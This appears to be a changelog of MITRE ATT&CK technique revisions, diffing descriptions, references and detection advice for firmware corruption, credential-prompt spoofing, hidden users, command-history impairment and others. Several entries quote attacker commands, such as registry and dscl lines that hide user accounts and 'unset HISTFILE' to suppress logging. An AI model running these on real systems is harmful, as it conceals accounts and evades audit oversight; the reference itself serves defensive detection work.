| external_references[3]['url'] | https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html | https://capec.mitre.org/data/definitions/127.html |
| x_mitre_detection | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.
Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.
Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to gather file and directory information with built-in features native to the network device platform. Monitor CLI activity for unexpected or unauthorized use of commands being run by non-standard users from non-standard locations. |
| x_mitre_version | 1.3 | 1.4 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/497.html', 'external_id': 'CAPEC-497'} |
| x_mitre_data_sources | | Process: OS API Execution |
| x_mitre_platforms | | Network |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | Process: OS API Execution | |
[T1495] Firmware Corruption
Current version: 1.1
Version changed from: 1.0 → 1.1
|
|
|---|
| t | Adversaries may overwrite or corrupt the flash memory conten | t | Adversaries may overwrite or corrupt the flash memory conten |
| ts of system BIOS or other firmware in devices attached to a | | ts of system BIOS or other firmware in devices attached to a |
| system in order to render them inoperable or unable to boot | | system in order to render them inoperable or unable to boot |
| .(Citation: Symantec Chernobyl W95.CIH) Firmware is software | | , thus denying the availability to use the devices and/or th |
| that is loaded and executed from non-volatile memory on har | | e system.(Citation: Symantec Chernobyl W95.CIH) Firmware is |
| dware devices in order to initialize and manage device funct | | software that is loaded and executed from non-volatile memor |
| ionality. These devices could include the motherboard, hard | | y on hardware devices in order to initialize and manage devi |
| drive, or video cards. | | ce functionality. These devices could include the motherboar |
| | | d, hard drive, or video cards. In general, adversaries may |
| | | manipulate, overwrite, or corrupt firmware in order to deny |
| | | the use of the system or devices. Depending on the device, t |
| | | his attack may also result in [Data Destruction](https://att |
| | | ack.mitre.org/techniques/T1485). |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['Administrator', 'root', 'SYSTEM'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-07-14 19:31:46.550000+00:00 | 2022-04-19 23:01:15.945000+00:00 |
| description | Adversaries may overwrite or corrupt the flash memory contents of system BIOS or other firmware in devices attached to a system in order to render them inoperable or unable to boot.(Citation: Symantec Chernobyl W95.CIH) Firmware is software that is loaded and executed from non-volatile memory on hardware devices in order to initialize and manage device functionality. These devices could include the motherboard, hard drive, or video cards. | Adversaries may overwrite or corrupt the flash memory contents of system BIOS or other firmware in devices attached to a system in order to render them inoperable or unable to boot, thus denying the availability to use the devices and/or the system.(Citation: Symantec Chernobyl W95.CIH) Firmware is software that is loaded and executed from non-volatile memory on hardware devices in order to initialize and manage device functionality. These devices could include the motherboard, hard drive, or video cards.
In general, adversaries may manipulate, overwrite, or corrupt firmware in order to deny the use of the system or devices. Depending on the device, this attack may also result in [Data Destruction](https://attack.mitre.org/techniques/T1485). |
| external_references[1]['source_name'] | Symantec Chernobyl W95.CIH | MITRE Trustworthy Firmware Measurement |
| external_references[1]['description'] | Yamamura, M. (2002, April 25). W95.CIH. Retrieved April 12, 2019. | Upham, K. (2014, March). Going Deep into the BIOS with MITRE Firmware Security Research. Retrieved January 5, 2016. |
| external_references[1]['url'] | https://www.symantec.com/security-center/writeup/2000-122010-2655-99 | http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research |
| external_references[2]['source_name'] | MITRE Trustworthy Firmware Measurement | Symantec Chernobyl W95.CIH |
| external_references[2]['description'] | Upham, K. (2014, March). Going Deep into the BIOS with MITRE Firmware Security Research. Retrieved January 5, 2016. | Yamamura, M. (2002, April 25). W95.CIH. Retrieved April 12, 2019. |
| external_references[2]['url'] | http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research | https://web.archive.org/web/20190508170055/https://www.symantec.com/security-center/writeup/2000-122010-2655-99 |
| x_mitre_version | 1.0 | 1.1 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | | Network |
[T1056.002] Input Capture: GUI Input Capture
Current version: 1.2
Version changed from: 1.1 → 1.2
|
|
|---|
| t | Adversaries may mimic common operating system GUI components | t | Adversaries may mimic common operating system GUI components |
| to prompt users for credentials with a seemingly legitimate | | to prompt users for credentials with a seemingly legitimate |
| prompt. When programs are executed that need additional pri | | prompt. When programs are executed that need additional pri |
| vileges than are present in the current user context, it is | | vileges than are present in the current user context, it is |
| common for the operating system to prompt the user for prope | | common for the operating system to prompt the user for prope |
| r credentials to authorize the elevated privileges for the t | | r credentials to authorize the elevated privileges for the t |
| ask (ex: [Bypass User Account Control](https://attack.mitre. | | ask (ex: [Bypass User Account Control](https://attack.mitre. |
| org/techniques/T1548/002)). Adversaries may mimic this func | | org/techniques/T1548/002)). Adversaries may mimic this func |
| tionality to prompt users for credentials with a seemingly l | | tionality to prompt users for credentials with a seemingly l |
| egitimate prompt for a number of reasons that mimic normal u | | egitimate prompt for a number of reasons that mimic normal u |
| sage, such as a fake installer requiring additional access o | | sage, such as a fake installer requiring additional access o |
| r a fake malware removal suite.(Citation: OSX Malware Exploi | | r a fake malware removal suite.(Citation: OSX Malware Exploi |
| ts MacKeeper) This type of prompt can be used to collect cre | | ts MacKeeper) This type of prompt can be used to collect cre |
| dentials via various languages such as [AppleScript](https:/ | | dentials via various languages such as [AppleScript](https:/ |
| /attack.mitre.org/techniques/T1059/002)(Citation: LogRhythm | | /attack.mitre.org/techniques/T1059/002)(Citation: LogRhythm |
| Do You Trust Oct 2014)(Citation: OSX Keydnap malware)(Citati | | Do You Trust Oct 2014)(Citation: OSX Keydnap malware)(Citati |
| on: Spoofing credential dialogs) and [PowerShell](https://at | | on: Spoofing credential dialogs) and [PowerShell](https://at |
| tack.mitre.org/techniques/T1059/001).(Citation: LogRhythm Do | | tack.mitre.org/techniques/T1059/001).(Citation: LogRhythm Do |
| You Trust Oct 2014)(Citation: Enigma Phishing for Credentia | | You Trust Oct 2014)(Citation: Enigma Phishing for Credentia |
| ls Jan 2015)(Citation: Spoofing credential dialogs) On Linux | | ls Jan 2015)(Citation: Spoofing credential dialogs) On Linux |
| systems attackers may launch dialog boxes prompting users f | | systems adversaries may launch dialog boxes prompting users |
| or credentials from malicious shell scripts or the command l | | for credentials from malicious shell scripts or the command |
| ine (i.e. [Unix Shell](https://attack.mitre.org/techniques/T | | line (i.e. [Unix Shell](https://attack.mitre.org/techniques |
| 1059/004)).(Citation: Spoofing credential dialogs) | | /T1059/004)).(Citation: Spoofing credential dialogs) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-08-24 18:21:07.926000+00:00 | 2022-03-08 21:05:20.136000+00:00 |
| description | Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)).
Adversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware)(Citation: Spoofing credential dialogs) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015)(Citation: Spoofing credential dialogs) On Linux systems attackers may launch dialog boxes prompting users for credentials from malicious shell scripts or the command line (i.e. [Unix Shell](https://attack.mitre.org/techniques/T1059/004)).(Citation: Spoofing credential dialogs) | Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)).
Adversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware)(Citation: Spoofing credential dialogs) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015)(Citation: Spoofing credential dialogs) On Linux systems adversaries may launch dialog boxes prompting users for credentials from malicious shell scripts or the command line (i.e. [Unix Shell](https://attack.mitre.org/techniques/T1059/004)).(Citation: Spoofing credential dialogs) |
| x_mitre_data_sources[1] | Command: Command Execution | Process: Process Creation |
| x_mitre_data_sources[2] | Process: Process Creation | Command: Command Execution |
| x_mitre_version | 1.1 | 1.2 |
[T1200] Hardware Additions
Current version: 1.3
Version changed from: 1.2 → 1.3
|
|
|---|
| t | Adversaries may introduce computer accessories, computers, o | t | Adversaries may introduce computer accessories, networking h |
| r networking hardware into a system or network that can be u | | ardware, or other computing devices into a system or network |
| sed as a vector to gain access. While public references of u | | that can be used as a vector to gain access. Rather than ju |
| sage by threat actors are scarce, many red teams/penetration | | st connecting and distributing payloads via removable storag |
| testers leverage hardware additions for initial access. Com | | e (i.e. [Replication Through Removable Media](https://attack |
| mercial and open source products can be leveraged with capab | | .mitre.org/techniques/T1091)), more robust hardware addition |
| ilities such as passive network tapping (Citation: Ossmann S | | s can be used to introduce new functionalities and/or featur |
| tar Feb 2011), network traffic modification (i.e. [Adversary | | es into a system that can then be abused. While public refe |
| -in-the-Middle](https://attack.mitre.org/techniques/T1557)) | | rences of usage by threat actors are scarce, many red teams/ |
| (Citation: Aleks Weapons Nov 2015), keystroke injection (Cit | | penetration testers leverage hardware additions for initial |
| ation: Hak5 RubberDuck Dec 2016), kernel memory reading via | | access. Commercial and open source products can be leveraged |
| DMA (Citation: Frisk DMA August 2016), addition of new wirel | | with capabilities such as passive network tapping, network |
| ess access to an existing network (Citation: McMillan Pwn Ma | | traffic modification (i.e. [Adversary-in-the-Middle](https:/ |
| rch 2012), and others. | | /attack.mitre.org/techniques/T1557)), keystroke injection, k |
| | | ernel memory reading via DMA, addition of new wireless acces |
| | | s to an existing network, and others.(Citation: Ossmann Star |
| | | Feb 2011)(Citation: Aleks Weapons Nov 2015)(Citation: Frisk |
| | | DMA August 2016)(Citation: McMillan Pwn March 2012) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| external_references | | Michael Ossmann. (2011, February 17). Throwing Star LAN Tap. Retrieved March 30, 2018. |
| external_references | | CAPEC-440 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| external_references | CAPEC-440 | |
| external_references | Ulf Frisk. (2016, August 5). Direct Memory Attack the Kernel. Retrieved March 30, 2018. | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-08-17 00:28:00.947000+00:00 | 2022-04-19 17:12:28.626000+00:00 |
| description | Adversaries may introduce computer accessories, computers, or networking hardware into a system or network that can be used as a vector to gain access. While public references of usage by threat actors are scarce, many red teams/penetration testers leverage hardware additions for initial access. Commercial and open source products can be leveraged with capabilities such as passive network tapping (Citation: Ossmann Star Feb 2011), network traffic modification (i.e. [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)) (Citation: Aleks Weapons Nov 2015), keystroke injection (Citation: Hak5 RubberDuck Dec 2016), kernel memory reading via DMA (Citation: Frisk DMA August 2016), addition of new wireless access to an existing network (Citation: McMillan Pwn March 2012), and others. | Adversaries may introduce computer accessories, networking hardware, or other computing devices into a system or network that can be used as a vector to gain access. Rather than just connecting and distributing payloads via removable storage (i.e. [Replication Through Removable Media](https://attack.mitre.org/techniques/T1091)), more robust hardware additions can be used to introduce new functionalities and/or features into a system that can then be abused.
While public references of usage by threat actors are scarce, many red teams/penetration testers leverage hardware additions for initial access. Commercial and open source products can be leveraged with capabilities such as passive network tapping, network traffic modification (i.e. [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)), keystroke injection, kernel memory reading via DMA, addition of new wireless access to an existing network, and others.(Citation: Ossmann Star Feb 2011)(Citation: Aleks Weapons Nov 2015)(Citation: Frisk DMA August 2016)(Citation: McMillan Pwn March 2012) |
| external_references[1]['source_name'] | capec | Ossmann Star Feb 2011 |
| external_references[1]['url'] | https://capec.mitre.org/data/definitions/440.html | https://ossmann.blogspot.com/2011/02/throwing-star-lan-tap.html |
| external_references[2]['source_name'] | Ossmann Star Feb 2011 | Aleks Weapons Nov 2015 |
| external_references[2]['description'] | Michael Ossmann. (2011, February 17). Throwing Star LAN Tap. Retrieved March 30, 2018. | Nick Aleks. (2015, November 7). Weapons of a Pentester - Understanding the virtual & physical tools used by white/black hat hackers. Retrieved March 30, 2018. |
| external_references[2]['url'] | https://ossmann.blogspot.com/2011/02/throwing-star-lan-tap.html | https://www.youtube.com/watch?v=lDvf4ScWbcQ |
| external_references[3]['source_name'] | Aleks Weapons Nov 2015 | McMillan Pwn March 2012 |
| external_references[3]['description'] | Nick Aleks. (2015, November 7). Weapons of a Pentester - Understanding the virtual & physical tools used by white/black hat hackers. Retrieved March 30, 2018. | Robert McMillan. (2012, March 3). The Pwn Plug is a little white box that can hack your network. Retrieved March 30, 2018. |
| external_references[3]['url'] | https://www.youtube.com/watch?v=lDvf4ScWbcQ | https://arstechnica.com/information-technology/2012/03/the-pwn-plug-is-a-little-white-box-that-can-hack-your-network/ |
| external_references[4]['source_name'] | Hak5 RubberDuck Dec 2016 | Frisk DMA August 2016 |
| external_references[4]['description'] | Hak5. (2016, December 7). Stealing Files with the USB Rubber Ducky – USB Exfiltration Explained. Retrieved March 30, 2018. | Ulf Frisk. (2016, August 5). Direct Memory Attack the Kernel. Retrieved March 30, 2018. |
| external_references[4]['url'] | https://www.hak5.org/blog/main-blog/stealing-files-with-the-usb-rubber-ducky-usb-exfiltration-explained | https://www.youtube.com/watch?v=fXthwl6ShOg |
| external_references[5]['source_name'] | Frisk DMA August 2016 | capec |
| external_references[5]['url'] | https://www.youtube.com/watch?v=fXthwl6ShOg | https://capec.mitre.org/data/definitions/440.html |
| x_mitre_version | 1.2 | 1.3 |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| external_references | {'source_name': 'McMillan Pwn March 2012', 'description': 'Robert McMillan. (2012, March 3). The Pwn Plug is a little white box that can hack your network. Retrieved March 30, 2018.', 'url': 'https://arstechnica.com/information-technology/2012/03/the-pwn-plug-is-a-little-white-box-that-can-hack-your-network/'} | |
[T1564.002] Hide Artifacts: Hidden Users
Current version: 1.2
Version changed from: 1.1 → 1.2
|
|
|---|
| t | Adversaries may use hidden users to mask the presence of use | t | Adversaries may use hidden users to hide the presence of use |
| r accounts they create or modify. Normal users may want to h | | r accounts they create or modify. Administrators may want to |
| ide users when there are many users accounts on a given syst | | hide users when there are many user accounts on a given sys |
| em or want to keep an account hidden from the other users on | | tem or if they want to hide their administrative or other ma |
| the system. In macOS, every user account has a userID asso | | nagement accounts from other users. In macOS, adversaries |
| ciated with it. When creating a user, you can specify the us | | can create or modify a user to be hidden through manipulatin |
| erID for that account. There is a property value in <code>/L | | g plist files, folder attributes, and user attributes. To pr |
| ibrary/Preferences/com.apple.loginwindow</code> called <code | | event a user from being shown on the login screen and in Sys |
| >Hide500Users</code> that prevents users with userIDs 500 an | | tem Preferences, adversaries can set the userID to be under |
| d lower from appearing at the login screen. When using the [ | | 500 and set the key value <code>Hide500Users</code> to <code |
| Create Account](https://attack.mitre.org/techniques/T1136) t | | >TRUE</code> in the <code>/Library/Preferences/com.apple.log |
| echnique with a userID under 500 (ex: <code>sudo dscl . -cre | | inwindow</code> plist file.(Citation: Cybereason OSX Pirrit) |
| ate /Users/username UniqueID 401</code>) and enabling this p | | Every user has a userID associated with it. When the <code> |
| roperty (setting it to Yes), an adversary can conceal user a | | Hide500Users</code> key value is set to <code>TRUE</code>, u |
| ccounts. (Citation: Cybereason OSX Pirrit) In Windows, adve | | sers with a userID under 500 do not appear on the login scre |
| rsaries may hide user accounts via settings in the Registry. | | en and in System Preferences. Using the command line, advers |
| For example, an adversary may add a value to the Windows Re | | aries can use the <code>dscl</code> utility to create hidden |
| gistry (via [Reg](https://attack.mitre.org/software/S0075) o | | user accounts by setting the <code>IsHidden</code> attribut |
| r other means) that will hide the user “test” from the Windo | | e to <code>1</code>. Adversaries can also hide a user’s home |
| ws login screen: <code>reg.exe ADD 'HKLM\SOFTWARE\Microsoft\ | | folder by changing the <code>chflags</code> to hidden.(Cita |
| Windows NT\CurrentVersion\Winlogon\SpecialAccountsUserList' | | tion: Apple Support Hide a User Account) Adversaries may s |
| /v test /t REG_DWORD /d 0 /f</code>.(Citation: FireEye SMOKE | | imilarly hide user accounts in Windows. Adversaries can set |
| DHAM June 2021)(Citation: US-CERT TA18-074A) | | the <code>HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ |
| | | Winlogon\SpecialAccounts\UserList</code> Registry key value |
| | | to <code>0</code> for a specific user to prevent that user f |
| | | rom being listed on the logon screen.(Citation: FireEye SMOK |
| | | EDHAM June 2021)(Citation: US-CERT TA18-074A) On Linux syst |
| | | ems, adversaries may hide user accounts from the login scree |
| | | n, also referred to as the greeter. The method an adversary |
| | | may use depends on which Display Manager the distribution is |
| | | currently using. For example, on an Ubuntu system using the |
| | | GNOME Display Manger (GDM), accounts may be hidden from the |
| | | greeter using the <code>gsettings</code> command (ex: <code |
| | | >sudo -u gdm gsettings set org.gnome.login-screen disable-us |
| | | er-list true</code>).(Citation: Hide GDM User Accounts) Disp |
| | | lay Managers are not anchored to specific distributions and |
| | | may be changed by a user or adversary. |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['root', 'Administrator'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-14 20:22:03.625000+00:00 | 2022-04-19 02:31:01.315000+00:00 |
| description | Adversaries may use hidden users to mask the presence of user accounts they create or modify. Normal users may want to hide users when there are many users accounts on a given system or want to keep an account hidden from the other users on the system.
In macOS, every user account has a userID associated with it. When creating a user, you can specify the userID for that account. There is a property value in /Library/Preferences/com.apple.loginwindow called Hide500Users that prevents users with userIDs 500 and lower from appearing at the login screen. When using the [Create Account](https://attack.mitre.org/techniques/T1136) technique with a userID under 500 (ex: sudo dscl . -create /Users/username UniqueID 401) and enabling this property (setting it to Yes), an adversary can conceal user accounts. (Citation: Cybereason OSX Pirrit)
In Windows, adversaries may hide user accounts via settings in the Registry. For example, an adversary may add a value to the Windows Registry (via [Reg](https://attack.mitre.org/software/S0075) or other means) that will hide the user “test” from the Windows login screen: reg.exe ADD 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccountsUserList' /v test /t REG_DWORD /d 0 /f.(Citation: FireEye SMOKEDHAM June 2021)(Citation: US-CERT TA18-074A) | Adversaries may use hidden users to hide the presence of user accounts they create or modify. Administrators may want to hide users when there are many user accounts on a given system or if they want to hide their administrative or other management accounts from other users.
In macOS, adversaries can create or modify a user to be hidden through manipulating plist files, folder attributes, and user attributes. To prevent a user from being shown on the login screen and in System Preferences, adversaries can set the userID to be under 500 and set the key value Hide500Users to TRUE in the /Library/Preferences/com.apple.loginwindow plist file.(Citation: Cybereason OSX Pirrit) Every user has a userID associated with it. When the Hide500Users key value is set to TRUE, users with a userID under 500 do not appear on the login screen and in System Preferences. Using the command line, adversaries can use the dscl utility to create hidden user accounts by setting the IsHidden attribute to 1. Adversaries can also hide a user’s home folder by changing the chflags to hidden.(Citation: Apple Support Hide a User Account)
Adversaries may similarly hide user accounts in Windows. Adversaries can set the HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList Registry key value to 0 for a specific user to prevent that user from being listed on the logon screen.(Citation: FireEye SMOKEDHAM June 2021)(Citation: US-CERT TA18-074A)
On Linux systems, adversaries may hide user accounts from the login screen, also referred to as the greeter. The method an adversary may use depends on which Display Manager the distribution is currently using. For example, on an Ubuntu system using the GNOME Display Manger (GDM), accounts may be hidden from the greeter using the gsettings command (ex: sudo -u gdm gsettings set org.gnome.login-screen disable-user-list true).(Citation: Hide GDM User Accounts) Display Managers are not anchored to specific distributions and may be changed by a user or adversary. |
| external_references[1]['description'] | Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved July 31, 2020. | Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved December 10, 2021. |
| external_references[1]['url'] | http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf | https://cdn2.hubspot.net/hubfs/3354902/Content%20PDFs/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf |
| external_references[2]['source_name'] | FireEye SMOKEDHAM June 2021 | Apple Support Hide a User Account |
| external_references[2]['description'] | FireEye. (2021, June 16). Smoking Out a DARKSIDE Affiliate’s Supply Chain Software Compromise. Retrieved September 22, 2021. | Apple. (2020, November 30). Hide a user account in macOS. Retrieved December 10, 2021. |
| external_references[2]['url'] | https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html | https://support.apple.com/en-us/HT203998 |
| external_references[3]['source_name'] | US-CERT TA18-074A | FireEye SMOKEDHAM June 2021 |
| external_references[3]['description'] | US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018. | FireEye. (2021, June 16). Smoking Out a DARKSIDE Affiliate’s Supply Chain Software Compromise. Retrieved September 22, 2021. |
| external_references[3]['url'] | https://www.us-cert.gov/ncas/alerts/TA18-074A | https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html |
| x_mitre_data_sources[0] | Command: Command Execution | Process: Process Creation |
| x_mitre_data_sources[1] | Windows Registry: Windows Registry Key Modification | User Account: User Account Metadata |
| x_mitre_data_sources[2] | Process: Process Creation | User Account: User Account Creation |
| x_mitre_data_sources[3] | User Account: User Account Creation | Command: Command Execution |
| x_mitre_data_sources[4] | User Account: User Account Metadata | File: File Modification |
| x_mitre_data_sources[5] | File: File Modification | Windows Registry: Windows Registry Key Modification |
| x_mitre_detection | This technique prevents a user from showing up at the log in screen, but all of the other signs of the user may still exist. For example, "hidden" users may still get a home directory and will appear in the authentication logs.
Monitor processes and command-line events for actions that could be taken to add a new user and subsequently hide it from login screens. Monitor Registry events for modifications to the HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccountsUserList key. | Monitor for users that may be hidden from the login screen but still present in additional artifacts of usage such as directories and authentication logs.
Monitor processes and command-line events for actions that could be taken to add a new user and subsequently hide it from login screens. Monitor Registry events for modifications to the HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList key.
In macOS, monitor for commands, processes, and file activity in combination with a user that has a userID under 500.(Citation: Cybereason OSX Pirrit) Monitor for modifications to set the Hide500Users key value to TRUE in the /Library/Preferences/com.apple.loginwindow plist file. Monitor the command line for usage of the dscl . create command with the IsHidden attribute set to 1.(Citation: Apple Support Hide a User Account) |
| x_mitre_version | 1.1 | 1.2 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Hide GDM User Accounts', 'description': 'Ji Mingkui. (2021, June 17). How to Hide All The User Accounts in Ubuntu 20.04, 21.04 Login Screen. Retrieved March 15, 2022.', 'url': 'https://ubuntuhandbook.org/index.php/2021/06/hide-user-accounts-ubuntu-20-04-login-screen/'} |
| external_references | | {'source_name': 'US-CERT TA18-074A', 'description': 'US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.', 'url': 'https://www.us-cert.gov/ncas/alerts/TA18-074A'} |
| x_mitre_platforms | | Linux |
[T1564.003] Hide Artifacts: Hidden Window
Current version: 1.1
Version changed from: 1.0 → 1.1
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-03-29 22:49:43.557000+00:00 | 2022-03-15 21:09:43.489000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | | Process: Process Creation |
| x_mitre_platforms | | Linux |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | Process: Process Creation | |
[T1574] Hijack Execution Flow
Current version: 1.2
Version changed from: 1.1 → 1.2
New Mitigations:
- M1040: Behavior Prevention on Endpoint
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_is_subtechnique | False | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-14 23:52:52.536000+00:00 | 2022-03-18 14:48:33.512000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
| x_mitre_data_sources[3] | Command: Command Execution | File: File Modification |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | | Command: Command Execution |
| x_mitre_data_sources | | File: File Creation |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | File: File Creation | |
| x_mitre_data_sources | File: File Modification | |
[T1562.003] Impair Defenses: Impair Command History Logging
Current version: 2.1
Version changed from: 2.0 → 2.1
|
|
|---|
| t | Adversaries may impair command history logging to hide comma | t | Adversaries may impair command history logging to hide comma |
| nds they run on a compromised system. Various command interp | | nds they run on a compromised system. Various command interp |
| reters keep track of the commands users type in their termin | | reters keep track of the commands users type in their termin |
| al so that users can retrace what they've done. On Linux a | | al so that users can retrace what they've done. On Linux a |
| nd macOS, command history is tracked in a file pointed to by | | nd macOS, command history is tracked in a file pointed to by |
| the environment variable <code>HISTFILE</code>. When a user | | the environment variable <code>HISTFILE</code>. When a user |
| logs off a system, this information is flushed to a file in | | logs off a system, this information is flushed to a file in |
| the user's home directory called <code>~/.bash_history</cod | | the user's home directory called <code>~/.bash_history</cod |
| e>. The <code>HISTCONTROL</code> environment variable keeps | | e>. The <code>HISTCONTROL</code> environment variable keeps |
| track of what should be saved by the <code>history</code> co | | track of what should be saved by the <code>history</code> co |
| mmand and eventually into the <code>~/.bash_history</code> f | | mmand and eventually into the <code>~/.bash_history</code> f |
| ile when a user logs out. <code>HISTCONTROL</code> does not | | ile when a user logs out. <code>HISTCONTROL</code> does not |
| exist by default on macOS, but can be set by the user and wi | | exist by default on macOS, but can be set by the user and wi |
| ll be respected. Adversaries may clear the history environm | | ll be respected. Adversaries may clear the history environm |
| ent variable (<code>unset HISTFILE</code>) or set the comman | | ent variable (<code>unset HISTFILE</code>) or set the comman |
| d history size to zero (<code>export HISTFILESIZE=0</code>) | | d history size to zero (<code>export HISTFILESIZE=0</code>) |
| to prevent logging of commands. Additionally, <code>HISTCONT | | to prevent logging of commands. Additionally, <code>HISTCONT |
| ROL</code> can be configured to ignore commands that start w | | ROL</code> can be configured to ignore commands that start w |
| ith a space by simply setting it to "ignorespace". <code>HIS | | ith a space by simply setting it to "ignorespace". <code>HIS |
| TCONTROL</code> can also be set to ignore duplicate commands | | TCONTROL</code> can also be set to ignore duplicate commands |
| by setting it to "ignoredups". In some Linux systems, this | | by setting it to "ignoredups". In some Linux systems, this |
| is set by default to "ignoreboth" which covers both of the p | | is set by default to "ignoreboth" which covers both of the p |
